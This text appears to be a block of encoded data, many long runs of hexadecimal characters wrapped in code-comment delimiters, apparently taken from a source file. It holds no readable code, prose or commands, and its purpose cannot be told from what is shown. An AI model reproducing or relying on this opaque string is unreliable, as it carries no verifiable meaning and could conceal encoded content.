b32d8762125e6940647f44953addb0dfd3e521b36d3f6c2c65dd528bed2dfd45609964c34a833fcc84edf1dff77c9a329de8492e1c7c4e4eee1e53c9c3088fd14e36e80d0bf8986134e71f676f09e5b8cfcb173ee0890601dde0f7379de086a4694396bd70be12d320b4f7d5aab1d9df6220f70c755b87beced02b01671c2defce9b794e7c456cba5408b45beb8ecfec44f9b0b6337deb8e97db53b41dbb05e3780bc887ac963248a4b5dc2d95c9f14e3bba36d2b89f82cd8a0276be5702cefa5c8341c01b27a8184fd423393dcbb67cfa3609311d617b0fb39026c23666d859fd5cc91ee168867a741a47bc6b09bb56a65d4da2bbbebeff1d48a3a43de155bc29c889dc3bf21b4176d376af8b76296ae75c67a91b31c2ef8f923a6a3991e6d7dd001aab79393d317031f35750820017184ac89d073f1666be5abc0dbaf54472da416222dc902ef855c6f013f98bea74c663f76ca8a99648ff5cc9eebffbcd714b68a6f11cc84e5fb1a3d34ce05d4fa45cad920c0abf1c8a6c73596d37b512c8536dd3b1a0d000bd09d93b78043c8c9e114a276ace38adc7be763d53b818300e5e94c8795e774bd141f5291eb3999c64a2d15038fa028bffc393084bcf9c8f87432c514fa8c06ed8a3d2f0ae6aafa081246b4b88f50aae03500fdac392adacecb412e18a95673738273201b62ff0fcb89d9c4cc040ef783eac33cd52d0fea45e6e60b0fbb09b95d8b4082bd7aa4bb9f75e9ccc6237e17046f0f99da8cd1fba5b548aa35ad028f4acd130dec3223e4de2069e89f1d61beda1b5190112fb9d7cdcca40fc414aa3001f2e26719656022a8143aed51fbcde8ee489470df7c1a5c1123bb3f814b25810f9cd5396a27f18e784531cececf9e1043a9a41780c0472432fe10105aa4decc78b4f205add1ce9ee55c6152d44b3c6db40390599d9e4e9f670e804f3aa9d6fd92b40504a9fbcc4a56f8dd1bfcf1ef037d68f60e2b5be7d2cfc8a01754df64b4e4c32971762ffca5092c0c493e5366607e6f53de65ac5bdb4ec63c9c55045dc0cc7c20b59ecc2ed64e8a3089a304da709c056aa846c324bfc38edd84622f6a34dfaa2c88678387a6813437d22423f97c6e477d48b35415ca6dc5eebb26a7c556c0b5801ee56d065bcd0f187d4583c99989a7128fce176093705759e53fea7f8c000232795421368b36d2bff221335694508277e4b3b9fcd5f02375870a16145dc234112948a10eec81ccfbd5488af84b82df5c12363fcae8f486321363a64e87ba73bac5d2b396a340b3304032b8ac31376861cb38c53771b9ed8b100f6bec9*/
/*129d4d6ec76b8a536fde4a2ed7a226a6f7c6929943fe59b4d22b9573f06c64f9041e2a1d6fd7f55dbb23e6f5615dbd0c8b28e91d12eefd9b315321fd656811c7d43b5733f3a16ec3dc43551d7a11173c58857598d6a57b2c2164dfe558d9305b135f73d43fc2f8e8e7cc05250866ed6b67acd5f947cf5e247dda87dcbd76d67edeafacf20ccd1c2d176220e5a3b99ed592aaae1d330680052811b8dc9cccf310ebf2b111d53b85428bb7d999127414d2fcffe2e32d102ad0bc94a800200b626bebb71a0b5af6ba56f37bd63b62ca1316c9645f3754853893146eab23c5830ea050630c3beb6f0fcd6a1b659c6f31efe4bfa5b011af288a4471b155164bde3d71c3dd458df2042dc1a77efbd8821c1de4aa0debc0688863f8dc0e3631890f220c4607b5c699473d3f1fce3d14f3cede125cb271da215f6fada4dbf480385f82965cf11483e773c353f71dadcf6264a58113d604f552d02295d32b283414f6a4539a94e526094726d6eac464c9aba9bc8c516be7a2e7c9701ec966a4db1130b410857f02eca6a8e42db7696c19ae45f1330d1056df747143f1da46cf3e9815647bef3f8f79611545ef5f46e36e89e08b114ab1c6796650d1307b1980c0474a32975bdb66122c28c1ac056967a36c55cbd78c5127504991a71e9c39c73df4a77add71b10207a3bec6f131a2e537928478b5d1b7ee5a62792b5e18e787e0b6f37e9ab1b65ce34e4a3de2037411b337f4813a5b28d1d88f3e90cc7a444c044514bba0f554580aa3c26ecb5cec153472e4afc9e0922a768ddca0585db588443f08c54715aecad267a154034d7916b5aaea977617df4c5197ff9c3dd6d8de52f1a5b7f6f69958700fcc2b573ded81408717ee23641159827cdac3871a37071c9da1129d3cb07b2ca29e6e032ab6ebc119322d4db706637a461e62d21e346f3e41ced546093caba201f3050d45f7da39de080fe75b762040918ce59f4eb0f5bc2dc25be81064f999861b5e97bf3ce01453b8c1bcef56d16baf192a90b12c67aadad6e1679024f8135bceef81d9b98869fee093ad4858df73ad57bb04fd24a85e5e8476fd8825f0624df34a744b530052e8c79c01c191d618bd11d42839de2d36ea3ca8c165d35d863afb1416b071fdca8a63d8273c57edc4a910911a78d2b911df9935410dbe4267bcd065c3963f8015747919cf6e697962bc04674fc2ac5fca74e6eb7d7420c06ffa2a3afbcb14c4b9448f2bfe993402db245d2567129fc0b059fe9bcf9a93d8e42a067df63d6934d657a6244814fed6269f1f2f110d9acf85b25273ba2610faf32826b4897fea758624fcedab1d3e9692c3771ec716889e30b7f9d33591e4066b4542616a8c85e250fb55b37d853776a086bcb7998ca4f74ad86e5c45383d70759812a9dc2965d721a2663d91d800e002389f4913bc1382f387927ce38eb21a17b2729cdaeaefc89973326add4817aff1d09485b35a05339496cc3c60f5dd9dec16b2878efbe88a5e701265038827d30a474bdabcacd2c92b094fb70bdc91a5563ec6edc8160ae2ba2009c4d88bdcd2b408ed135e843b49afac0b02fa65b7f544471c08201b8f572969ffc4201a10291d9d6122c985809ab8db4851f7c6e5af7a7274b82a0c51fb07cabab2b8ef2dbf92a69dc9d82ed6abb9a23f6eaa3811a74f0c599a045b70379e3ade4a48c8ca608d504f820ab606c7d65216ee1ebc3144d2b4a5900a39b5a1a3cae02271035a122f7ec6ef5044b91e3e6b7a067278d0fdb5f3bb1f3bba1c9a7a9993744b3cb68fe151e09939bcf7878f63701f4247cdcafb2795e1589e8168d69ed510374feee3d4dc24cc8862f648b574280df31516b92b4e4eef75b086275732edd03aabc9209bdae295b2af10ef595bf8bbe82ec488734f842b8e41ea9682218c55ce780a39e752daa591d11cd0b91f05d798aa5263373a24770c6261d86e5f1df2ffb6bde647d26130c7f0c4aef218531fb78992cc0bbf76e5b031ef0b5596edfbab27c3eafe682eaa25ca3706791512ef2e60701a50cc20eac6c50fa4b2d34547bd13281a381f05bd0047d293b0d04f469b9e1d17121cebc895614dbe31d42e1f46a6364029ce61d7d2311c5ea19995e70aaa10ee78430b3a896067470769f3751c8c9cd1505f7ebe4a2ec58a3aa3512d9595d241d07f5ff3601392b3a3963798d9108522f6aaa2972e2e1e89b160670778cb5dc0fc122fede596aa6f426bedd9495c70d5698a1b92f78e2f72d77abd0d2332d2b9fb95b6d0e6ec224eca67218a5a7a270b003d77560074378a5e2efcd0a9e014853afe95af538cb13cbef1da03fcc8567a7c1479a8502766cd4a39554281abc520eb6f69b55de6328b525eea04dd85325941c0d64a8eec39657b953772e621ca49f85ad98ce695971e3c503797d70a6066335b031533e2bf5207b9ac5112869b7f8ad9fc4262e1dba7ec9b887ebce122972349fd66b87e49cfa8f901c8fd9db3131632510b4b3f911220c3873b8f6bf32eae2393b0e1c4d78aef774b61a813fbd8ea01124b7931e58c6b4a00b68d6e245590662c979b286e8577a628e61e45a97340b546a30311965fe4cc655374013ce964eec85a3b469342ba1cfefd3f48d80c926d12ccd2f326d6bc755ca515d024e6e8bc8f3fe7b823c55c8a7bc47cbecc21f05e50ad5d8e5fbea72d92583b96949da5db000e3bfd54dcf1c0fe09bc628bcc39aac44665198373bb93c37e13e45e9e203a70df615351e73ed9127779f81e378e70f2975cff5b102cd65fe8c5c8e2eea0524841c4c141f703d1aabd7dd704bc2a8c334b9c9424fd11bc4affb1*/
/*b59e8f6830c80be5a17b5fc8267ac2f5e39245b47d5db029394d993d28ec3e7e35cb3b7d8e3eabd96f99b89dfc06a9d3e36d6eaa9a911312b9f36159067c238047a4f46f3902da79712170977a1900fa905550c5b8dff2d5e7e449a3b0dc070aa3bb735f72cba440e061e9c6a1a6b276577447226d484915e62988f1ae6013e50823168d297b370796ee885f6bc5a94ac4c1a38c30c9cd1d69b7bfe726e6a8ffd54d1732269ad710c9b33a9b0a915931e128aa482442c30c095586975aa63e33e26bff6b74df80b5c027a1ce2296e9e0fef3cf18934bc463211419301a7893ef4c836f1b0cce667410ab8a8fa8afd4f4c3eb4d27d15d8ff62675d6d015382c48a4d5d956e9e68384d46715aaf0474a560d63a729f55fdf992a3054a82c69659d81d15f86cce054c26f836e6eefbaab6e101ea59ebea569d956d20d41142d70be91448cda4baee7a46488895f128702a8fc81f77e9655ac87781159c3280c3ce1192a2131edc1d2038d87254c9812d8842a7bd907df029463cb226aded2f197cb7b74a9dfba509f8d9dc7ec9b4d08f7be9374be4056512265b734c73cea2b5f947769b32362909106f1fe3fa92c6aae1d06e27c7c957cab6d94e19c38d4d16a119d829bc54f93c70c4d677ca10fda752535f5c66a97af63c5c8be69c3217078fac1b0986fe4e38e27e275f84d11883ad1c6aed67fd3542956645573484a1ee06a1fd4c204b2c0101dc77cbf8e2acaf80450da5375427298eaa23543d97cbfaa0d339c43c770fe5e48c2f5278b6e3396512a65ac83595197ed2e756609ff8ece0a42fe6e0e509cc90076ffcdf40c61d088ed4f76366c64fe80bc2c199d3daa5ea7f7c743610a7143d625b4b934f1fe1c5547df9fe0fd327e691e5a33242448db11cd5fd670598d13a2153b0ee4467c4222389b20130c0b4bad0933b0626c15ff67487a065b29e2e97afaa9e9e2a28756f6685769784534443f7b2309c7cd26c546fae26db767b5f331ab59c482d098091b63c1a08c6cff698d640a949c98f80b232311e1375e35f78cf6b97603c1fb625a08be70cf16831399911d855ca5f4c488e67dbb8c3d81524464ecf9c15f72a153ba9d9e6837b8b40e37450face4d375b897ba0ac70571a90c51f77a88d902efc45e4bc72178b59e56aec5465c990f6d6b7b158b67069851c55e845ae6cb7ca9937aad03d8d6c66fe49326514f53d1b21d9c9b7e824292cb4675203735896f7c4cf4f8c6ed23138ca9bb63a0592776f8fcd5eeadfef0cb8d785a609058b96086511cbeebc0b7f76b190baf00e6dc6ac82b6a552510c1be1faa9649e1e70140a877fc75d10b03f80a28078b7961601f42f51fbfb59a0ac6b7a85bb6e53cd653489f4617ca6f9a552d5a02b1cc2b2712461af9c17fd546a8bf4a238dbccc5fd7a7818cf9a7fc49626cb24d908b04c91c42accb77a908c6135ec484e066071c626cd3f4f54445f3ea070d5846312e7152f31201300ea148258923c83a7cb4ffda4550144ef1941d29f3f4474e016292fbf4f65c3276c07f18ed0163da8bf6cd14d6a10d787bf3fcf7dd7f84cff04e8962c6b0a048e4f817f4a49367265cb00999bbf3a3ac5f16b1e8a3cdf5a5de09be89671f76ee57f3f76f3e574e826f02a4815748659b69f9d69c2e81e92db75c67d3556ea85e611ed5cb82346780d569d170aa1b2d4183776c78520f4ab2ae5057367430d8fd5ce6e38500dcbe6bcd9894455755273bed26684e40aafc65f99d05f8cd35c6496d4990107f5930aa54587f52b28f922a0e27440d2e918980405ad4a2a478f10a063c17d677e34c20e5c59a4a798d5710951f3bf9d434aec3f48db56b58af2dd28430f4f7ce8202c952b3e4e3d19bd2df5c68d85a3be5e321af9208c0c9894a9e85e67968137dca635d94c04206c9ebae9b766804b24fad51aaa8ef0373e6371a606500eefba7b6068a0368b029f093a89d30ad850187bfa30ed9fcb27f28e15b75cd514ab80660d73a2e45ea89e8ca6a72ad9661edae694f0fd1faee28da780a832859d33a398d61877fbaf48b733ecf48b93a2008fde2a779631910ab4cfafe9efd00d88489a879fcdc8898538b47a0004a34f8c5389866ac4528c6885e0d292c4bf10fae2cc01baa30139454689716a26574d3e90d247157448f0728e4bd5f37ea42772b9d01053cc4bab4b2c0b7ea0181116bbd56ca9ea56eceb52fcaf59f7fd23babe95421b4916705a67972850b6c9f32914e92526737cde4f29e74af852111414ecfe1c6fc3e1636ac923de476c9d47710018047f22783fc4181f3a8239da7e4373fd1c098ae537089f9e7d8b7e3bef6ecdb1bbc4ba9971d19fccf707984207759ade4774e68f0e4091f76c238ed05acd316657e826ed50142bd7f38a57475e6f07c893a124df99040e0d3af200ec1088ee0016c06a7a1e9d5740359f761b4652fa92b206f0805ca884020162a1d0fcdd6bb7491414c3f844689d6ccdfbdcc4e245e418385b5be3478d8f6e8527163c756ccb05fa3ae0a16fe917aade27ec89268b7e6cff57f7f3d7b77c522a586ddb459b66197323325441fba432ee921f20e73dce7f62cb20b0e93ed07e02482e59b66be7275258f7fb9118fabf4431b214678751dea04e6da22f95d144bcf4e1d4ea5e403d83b2915c903530c90ecaad8b942460e6b7715231d0c2983bf6f94e7789ed18f2ade5d78fffe54ecc918a4fb353181c2c0cd7350f3bf0d72112b3408013623e49e54cc26ce961308f4ca80646e663b659d123f6ed49d2d7b52e8ac79532f79ce893eb7a54e21535e40d881d9c3451ec3d25d3520c5ef1931*/
/*7b4d3f016cc6c2215f983fdc609e24ec2dcfd35f6c51fc3d264cf7dd8167d517c2ac49dc18a51ab714d994c7cd2bffe9d7166445256bb7de5aa3c7fb6adb8df8a93055fe6bb7ba382d9fa890982d991623fc537796a14ebea3859f331b443ccf0989c602c8c19235d539a45810bc46b39c8ef00138e2dce63b844481e74b925a74c673ef6d3fe6f23ee806b82cd60f680257368aaa66bb7f6994f8016663df8bf0e716b8448ba1bece3f4db55ce6f4f5c8e7d7c9d1e81a136ec165ae89abb87a0c044ad4ecfa832f980106eb174bae165ad1604e291b30966ca50fda729e1d5ca7643ff4115a60886505aa89439e06bd7e3ac8c2648858faff022afdae5306d86897b2284d4b6b671e799063c41ba38e60b0798a82dde8544ed7c88e422ef8230e05eb01b643e1a2fcd8b36b0e1a625e654b22c39d4b9392b26992f0316effaff0bbeed962166637395b7044d949da7ed88f9c017d5de79720a4d06a812ebe9562f7f809b28bbbef1a81ab7e2501c4a54f9d6669710b63cfa7512b065c5ca95c581c1214b240695f4b51f657923ad203a2e04bd49b15f057e24e1f2d00dd00021f8b59837163c6984a1b215902111e3eb3c6b8edd1a6b27ee1db10712291b8cd9701a1b1b49c9bb56464fd42e5e76801fc6dff394d3785e1541a0d29aac64420ff78d1598f7aa0c0bfa5b8330739433354abaf135f60227fd0934d78e37acc3b828d587880e963031626a004126dc9f5a487a203e17dc5e4d108930ee1f2574a7abe96aeff6a1d1184729f9bd56cc7496ebb759766deef8a543861ab5cd67309f037c2f12d23da36a5821df4b795431371265f7b42ec87be9892fa6ca1999f7355a76de1cb9436b061fb3425ea61bf76136fa25603aab80191ff5d6aac71438d387a0f80f01e9f326680ea3fb80a0d9bee2861a9c1eba47d71c103ffed4d1761cdded64bc62cae0b066af41d83d74ea29629d13f36891bd9633b9c7e978b8a01bed5746ed4e74be23ae3c43f273fd4ea0aa9018e1b0887c9755140b20079edf9dbeaeb73c1488c1f8c820f25d98381e7b1106f8a11b27c4c5b8cf2d02f4092ff5ac2ed567a63dcdbed1aabba1867bfd0c388dd6f99046397e377f55febeaca518d75e634fc801feb4cd33e116d041f68435e0971bac556e1786ab0f6181d1aa99408386d95860635cedbb96b3365233da12483f536c4c4cf8a45562e16609d09890423aafc11a8ea07a4a0fd24ff1cb0956fa38149fdcc57312c2e615183a69a51a94e7abb977bebba75adeb7cdcac2cfd48730632073fc99ed7a6bc23613299a317410b0bb5fb63eae6ad3bccf48b342988e10635583a53463cc3626768c2d6d8f18fb865c60ed4f6ab8a845f30a0350ae6bbf3940de4ca9656095ff9922d9ce6fb5112322649fec4157a03f05a41323829ec92768803312cf8afcb7e2e443253e87a059756cc7f637f2f9b9dc063cc7e114df05e0880356745b23c7999d1dab8f3e9dfee36d23efaa61dff99335184fc75ff12c1ce6a926c501923d7319bd3160dc2b58c7e1759571b4deab9cb26d0585ff3b921365663fa011924fbf71df39828ed75ec41266762a5f8918201a72d6b71bf24590cbddd3cba194d529cee2826be22a7246417301e26e4fbf22f2a27f618bc6e21de1c4dd41e51ee48b706d9a5e4e338630d5a74fda221cd6138c4235b280ffce2c178fd10c07baaab0bc80c6c677fe860bab65f6755f39d5cb20974ee6a72443232584f1c8234dbf7515554270f31c56adb16defd1dbae5c47fdfcf14545bd52c5690ad4601ed79f84dc894dca5c5fe22fa22244075974e235303b3db83733c377317b22d8e2b1c6324fbc63c150f14387399b6a3a2daee8f2d5af36ebf986a75a962c7559e2e4fd7e25fddddeae7d29641bfe1d772faa0b78b5cb9b37d52143a6ab774caadb91dbcc99c70f0e2c6bb0f6b86f7cc83ac23a1ff63dd1d76b7b1a2cdd3710693f232151d5df34cc2f9a6959e9213ca94df23a9ffcdb1a3981a0c161b444a1c292c44a9f8486950eeca2d221a2498fe44c864936395e94ff3e224f31203fa1e087dc189ef348351714eb815157a08289be19b8f96662230ecdd808488e0f9b8c77f88a587d638f5414a0fd45a1aca7939b38bc3bf92b8de1ecdf45cf85b27191f6dea48b32d013fac671b0ce5960484639961defca27f41b87ef2b4cd1c2c35006898d7c9ebb04538d8f729d76b9439e69aefdc50d9e2f323cfc6cb55f4a504e29a35255a5703dc31c7f71b492683cb314ef84f705373787da9a728787c6cce2e4754f1294ebce6cc31fc70d21fcabea7ef35907fbf8e40cbba72a9702a4c49968ead8cb8118de3fbea42a5e552a0a2b3eac13b815483456fc9aeed261140f0bcd4dbc0acd1b266baa3a1c915bc4975ddacfaab33c3e29f4511c9c9795326140775fd7bb9d67ef85b665897fd3198bc12c91a03f297eec890a9bbc7d1fb2cf878b8981cce009483800de561bd00db072331b450753f6f5f2dc8bc42cf58b40c769dd231a753aae945091b50e47953c45c7e410acf0c42c89716351410db43907a3c9c146528634f38f2ad6ef5f48185e3453ec231f697ed3fe46e00478f31edb84272a2c0e7604222c2a407aa13304b49f9f3aa2fd201f50be280450c8648a804c75aaafcecbd25f1e6b79f4beae187bd7fc2830fee1eebd9476d443259efa9f66dfbc1595da618455fb1c590e6bd3e69b09f6e994e87ac40631fad5170f1952d8dda3c3b159022927807df1b3484dc4d3b7b78589c256d8430b61d2c10a192e96b76ca169b93eefe47ba4e6cf41147ae0cc7a3edfca6*/
/*5ef2faec6a018550fdb427d307cdd9b5bf1ae2978445d05fafc8ee338bd9c8d9a99186dd1aacad59bf9d11e9efbe8caa8d4a6456e814281f5b71e03b15a57b0933ceb0803488fc9a298dc6e7149dbf86437baffa78feb765c3ad8aac74e928d082f2983dd6b8f461fc42d4907c848a03686936a4fba455af86128dea8011bd6f47d6ef2bae06c96bf3a11f5f2180b3cf74d9016978503bda6d71d7cbc4b7e6f8e71e67ede0899e9c89332e4851fb0f37112a44584fad2455f1ab1feedc98618175b669a16870cf6dbea25bc7fa1dd2b20863c4a1c1afd555978d0282d2210bf685e45fa97854338e7bc2e8c1efbbbd3ca873126747b0059c1732c7326808ee040336c76baa3030a2e6180d88a4db62f04eea7f4e799034b9244db5588f84421bda30c9f65680bb4a43fcbd0d237206e6a2cd81cb401839d28aed530c70695618158881cb1c25842dc680102bdc9020b6e2fcec924bb2f98a68419d30af098c3888dfeceb20d0f43c2e76cd968241bec5751e80486a9dbc68650478b0a690ee972d3f251d5ba985235592b9a9a5e3a7a2d13f9d6cc31a2d76fb839c62ffa905e31652fee1c58c8e44bf0cac6c81cecebbabfffc1474aa08401c4346cb081cf38bb58b14342633e28528ecd49917622e7f7ee0e5645ee15094cf95b25c7947d68bd131af890d2c181f2623934bac76889972b4c0c752e4466c01129478b117ca50f16a63ca4ad01f62b2339f4ed2fc3b700ad5fdfc07b9e2fe6dd383a4d880e412c01497fab2a4a7e53efff225ecfac72d114d6738d7429850f3807e57d4c00e4c4bb1a92d79761065cbc0e874aeb897a3378d21a20ea50e5a1f05916b692c31c0dfe9722f66ef44a592cfe3decf1c8af8f0819dd71b8979a0972692a28db4b7198c700d023009b163cbed36c8802985a335834b28112fb3c2d2719b20b96b65446bdbfbf70b3fb38516b5b0f72f418a3a355a2f707ba363abb2f81f1ad30d4aef2a10c4d3038f361a12006b6e23a6852613aa6d653822dd9581c3738b803816ce60c8654142116ae591d1b0538532f511b45b768d52b6a01c61b867ef3e92c238f1ce22fad253e6286a2e6421ee91eafe1893de01bf7dab9093f52a80ab707875146dd3b36524a92202cf2bc1d898bb8d0e05ad91a0c34f4cb5ece2ebb376d97c1fb1076cbbc45485648a44213a99affdb187312d5a1c2d183e9d3ffe6b13eb2ff50da5147c134b318c788568adf31d2f4bbfbff3c631fd218ee10e497e9037d6d894997a27b494639513528828c58da5b79007e6b69a7b3b8656df34e926a6e015add1d56b2f0359291b5e4d651b063dc05b914318b348ca8ab10d3b5cb3c72a967a2879fb9e3f624bf8147da66883de3f5357cb4cc0cb445e644120990ed02fe12fe41af5bb9bd98a442280add7923d82b36aa61e8cabf88728d398765ffc75193e7bde63b67957054fdb1c4a51c63f03312c48fc0081b6f96f2684a722520837dc44c1fa4e6759d896c2355a15fbd19cefffcc039731518804a373a21d3b36f4112f82c291fbd2cb74cb6aa74b2c1bc54945a3137854f2c35894dda30ec290e83d94a1209f7e7e1f872cd84c5ec2af27df0f7606080a01a5d96ee132d121b60614ce12999251391faed541796b46304bf177e3c68f2e9df1cf9933a5f6722bcb74dfec639d206fe17ab255e587853859d51873ca3543d1588bfb9fd0581d8378bb9895dcb68d2ed74135bbd0033311ea41c7a97b946035cd5291442a9bdc1c8c99a8788e28308f5cd3d856135597cad07baeb516cb4b8bcc09b3b80006db6bcfe717d582f1c821a7bd9e9ad7d93ea4355c476ddad25a6342a2d7acbd1e05bc9e9fe5299210d629490fa2f5b9471bf16d9e47a162a6966240858772934a55fcdeb24cce938e29dfd960fcc922a80b451a54a77dcdec4b0998adbb48c9f9ccd52f01bf99d7d22b7eb7bb0cdb0489ec0c9b9c2b2136693b1e78e37db9e8a0d68994f52ede974fb51828e823f62fac94d77c96fe6f90d973bd06cc61d61ed88e9fe4db7c62f7568b7e5795970a233f1169cf9fbb39653ab5a4e4ce4de3f3d5066dfe820d44fcdbe4d9ba18dcab6f9e9da604cf4b9c6da67ac8923b79260038eb5416a2f37d535eb7471f7531df864fdfa312a8dd809550f688eeae0c3c6e7f657de6ec1c57781987a54987917ceabadbd157cedff76c4b13b3a850323a293b056d5ee8b51d23f0051fd1a384c1dca6e91e82041ae4f74c71c9951117fdc71cdc3d38ff77e7190da51af37172e0f7b3a77af8065c1e6ebfab2cbfb35e4edb79f944234c9c6ab58a49401a1fb6f36e8e98b4fdda6a7d0177a27f9a2933c7422324927f69fe082d28a128ed23e770826efdfa927886f66d120b14376402b04ff7f8d55ee7be0d51462f39b9b9d7a08e5f82565c9d7bfaa4743d1b266dc766fb27bf6f5b960420647d0c1ff76937e5d435579c80701b8fd5c229e2c7e4e537f50b40f7cd5d870dcf1b2dffed80d62b95904024383ec2096f48a9e47c04d19796bca2e18c1c6031833f8697f6a34ee55095bfb9aeb62c8d5f7bea25408730c22f7296053ba77311c0533efbafc33385b0ebd63c8ec3616df91696ca2fb68ba77a3b17f0af029bf4ede6f4b8ed5b04a3b6aadac5c5b8a3879f00a733e484ed5958ee5676b26e8dcc803f077ac7f144f476e1d07741fdda8f1691903e2522f40d5182113fa10d77108428a323d7fcb25010dee18abbe8b7f384ea115f9e242f56671723531d03a72233cead6c78c1d6a1bbcbadf5bb07d9a9cdf58e8e651a273fee99aca6a59c9f34736cf8ec69c423ad8b1b2102*/
/*faf6ae72450e6288787c9563986587e1d173d46636799edb9a42d3a6f6911a36e26f097d8c82b58adf13f1c3fa90f2a58d3013e6f30266d081307e3a68b02a902ca84419041e3f7fd4d3536aeda7b7d593af2d45d6b7b5c76c68103d16dbb00d9fec9afc7aae3cd107cfd0b144c45ac35c00c482f1edd8cca7c6deab2bd256292f38cf59c578dd637acc8aba58c6a6f782b958938a317c8d0a9756dd2d0582247e4a822e9378da7832b18473f52d2957c23da7406b7daa3f38f678ec68a83038017d4b589d668baf780e8ffa91d380c6ab153d2f5c97ea35675fc1e6576dfae45dc24b4d90d0988ecb5393f69afe96bdd224320b600d76b6b25ad97f6a85d490cb41cb2c10a8fa384c3a01135d4a94023ce0ccf89479b70236b86ffa069a8f93f1a0b46a700ac80672ee19c2e45c005c176e6dae8db0e6755a6bfa16a1130a692566fc068c1cb65a1f1bbcc587f3f32ba85f59ef013dfa5d0c6fe725584c7bca572bd0bde0b127668d592e5b69be99ce8d8437221bea200610dc2e126e3faf26cb55a874f4286d172f641f9fd795713fa7f3deb20636e14d7e26e2c96bc9085135346d9d468555f6310e2ed786e0de700d3402343701f301b815b8c8d2c9b2ab1d595a3c33fccaf1c79c3722d380f0e0632ff0a68527de97452887083ae17e8224e672176d37afedce30a3005c8c0cb7dc4a999a6fbf717f232682d7cc759d2c75633b62adb5b539d6fdf0c7e3160275d50a9d39eef0008aa4030146416b5a6a0646b6a7b0c5abb5cd507ae53d06e414b06680938689886c083c772dc919dc83f8740e5556fa2cc8a6b00049c2af482d1466b72f11d607472dd138124d50f2cd6b8b04d539cd64db5da6db5dd43cf3996819573acdc63a90b50c6cb8e105cc74791b2159635f9b91d677e9d24b8aa20026fa64a547ae9adf4af2cac1cfdda95ae3adca137f1e4b1c47c6837bd024766f6dcf83c9c8a4ded16fa5bd8a388d351248034e44086e2ac1f97731601638cff9935edbc2bce868a7c9b9d4a8e1436c811b2e4ef36b1f4d589ee039cbde5563a97f8d6831a685c69a604f2ef9851b736147fedd3592ea0f0d1c52fd36198827ad9e8d2f4595849191280de518bed8789cbebc16c5fb55cc2bab717fd3c44c1697c3a3050220687480e7a43c208d8791383a2f9bc9d1ebc3fb4cea9f0d7bb60956a8b35ace23cd57ca7c1804c7eaaf56a71cea87755cef504e513c68b1d6bd86ad3329479c49272b9b41365083f8890dc4f36f95ca9110bb0f4ce4b0e46806f90f3214ff689d689da8f30a443cb401b852bc3e26f0db149d47f271f52d538342315ecab0974df1a43d8c60947c30419112b3ba6ca72083162762b25a9391b4da681defb7a68f323bff8224a5fd53533768ae5c93251724831f1e86a15d657ac253ce48b49bb9b1bb576cca0e121dfad62ac69cd61c9f71400ea16468c53f5e432b3fdb88a2fb3e685c74e1947d221a4bb5c06cb45ad62a1039e74da3eaa95c2a97135c3aa8e55fa28c56194851c1d262684f23f8babbd8f7af9ca3e7db3e62f07850f23ffe7242cf7b92419bc1d9261d6dc624dd0461614be1d1f931846ba8b84ed5830fc086d5e37d6122a1c2598bd098497762081533faf4191f758e1dbb8829a021ec094e25b01f832193d5d8a77bddbcfeba611964de09a6c399d7b99d414e9dc59da7d1c24732f39966540bcb685bcb1eb3770116ac16a241c61d5cf94afc21fa0a2fd07d040e4118b93d8a1b8bbba4005b66e7410e37d3758eadd7f82de408b20405575196822cb1c20ef2a5c7accb8df67422676c9a798318b4686acaac125b3e2c895f8957fb80b323c400d0e94aaf711ef7518d131fed662e0db2d3c32f01b4b8081df09a304be7ac0c8272846f6854d86fda31515ba0e4bb3b53f0e2a357ce354549f37c8c7c34705eb7fdd528784a4e0e9966384e3d12a4a82e4d9f2e6627db6ed0ad552805f53cc037b1ecfe02ae2f7255757e4be1959ad676a1356e42415ad95718aa2062d7e9025e27e9cc3ac5374ce18e8045e1159a5c64484a88c44a89f63dfca67f0d25729a66b55dec2ccaf2f54e9dc2351552eb03de57239eb6cd79a8a597caae2fae4fe7532dd2807770a8141ba6d6b6591dc462989be91f1c6f7fce5760c19b5a14c441b9488482bdf0a3a1e54b7fe7141e193637e3709a63b02012ea7ec742e6514c6f6fcd82684a9efc0289be698ac27a3f055c7f6b61f9d3365734dfddf4bb05ab5ffb96e8837665e3de66aced71a982edb6a4c817b1ec5d192faf11cfe9fc5c913df1393352268a330f27162a32dc9bb4e02002464317eed75c33bbc811eb5d3d9f2a4f923c89a062b079df5700bdc09ef415252cb9e5c4b029da86428717108f8a525ede6bf3edb398313a7aeb0415aec0f9f51c9bf663577e6856d24fd605c24d3afaa9f9c011a2a1b366d560f1b38950c6635b9076133f7548bf2d736146982cc22976b2582bbc378ab05f01e8abbfd43eacd6e4f3dfb9d8cdc1e565cb6511a0fdc5c9b500b193e102a87ce9a9e2dbd449f5fdad1169eee12d058e697b2457eb2eb415458cb20a0fb281bd7484cdbf9cd5da4c619e670c56324f246bd863f9261b08439c7ca04752f829b641ab21fe6877d3cacac2d2c7c5c00a2df3ea39b5ed6120375be19a2257471ae8dc266c2a0fd2438eacc41e1e9d89d905bba66a5b781c55a2e3c8884309adb00f4a21cd172af52127d66be3e18c608e7079650cac5b0ed089e112587d2b9496e9e8e52949f957683d77e5981b189f544053f027adde0e395607c3579d27d53e5a870590ce5db3e00f*/
/*103ea3756cc6d0878a4fb5a59b32739e5bb699b7bc21120a6f36a7f053537af32ee9b4ede0bbe34abc2383abc9c7c36287401a4775eabdb0891f47f0f12b7259b136ffa553bcd173c6655d3e112f3d86395fbcf9ecce2abf97dd3b6a4737ac6c08a8bb2f93b5234add4fcdb3b84b95b56709f207cc7a3a6a9c4fed358edd860cfbfb197bab2e336be068564e89bc76419dbf163a45a6beb1b4f2b59d57e1d2db11a0bc18b4e8785c489b8f9b0302cb4a9c9f1a63c1c8bc66b2aa466b6141ed3e4f927e7b5dd4ed669cf543c19b82eb8221b9059c1b2bdbb5f4dc1d5c1c16a28ed123f9ca05ebc86d2a86afaf1c32251487b31088d90da970d124a18e4d719d586e3a5066ac0a93435bde7dc7600616c54a71bdd851fd2661ed59b6cfd93f5db5731d33e2cc2d2c68ea562e8b8ac897dfb3a4388953229bc6182aab58c496cf4b5a5939a9640be9e4a8ae938951d4f15aa2f547b947c5b017df23fa4f1478ed737e6d1882cad6671c70b47a9dc06e23bcf4f48608690e13ccafa6cafcab30342ab7e6202e2346190f7ed2c2dd9110e2dea80900b8232cbf62eca65a41cb9baf4d231d58e33e05ce287e9a52f95213614c151e20a78d581734123fc5572c5c1366c286a23704bac227c857ff1d98ce1ba8163351e871fb609a76400d493c7acd3489942124d408f343887fbbf2cdeb3b75ece11ff656ecabbe971bd248cd3b7732e73a11338fafcbde1f66f5de60b3290d160f2666d75b6cfb0df3f65987f1c6bb9bd06a2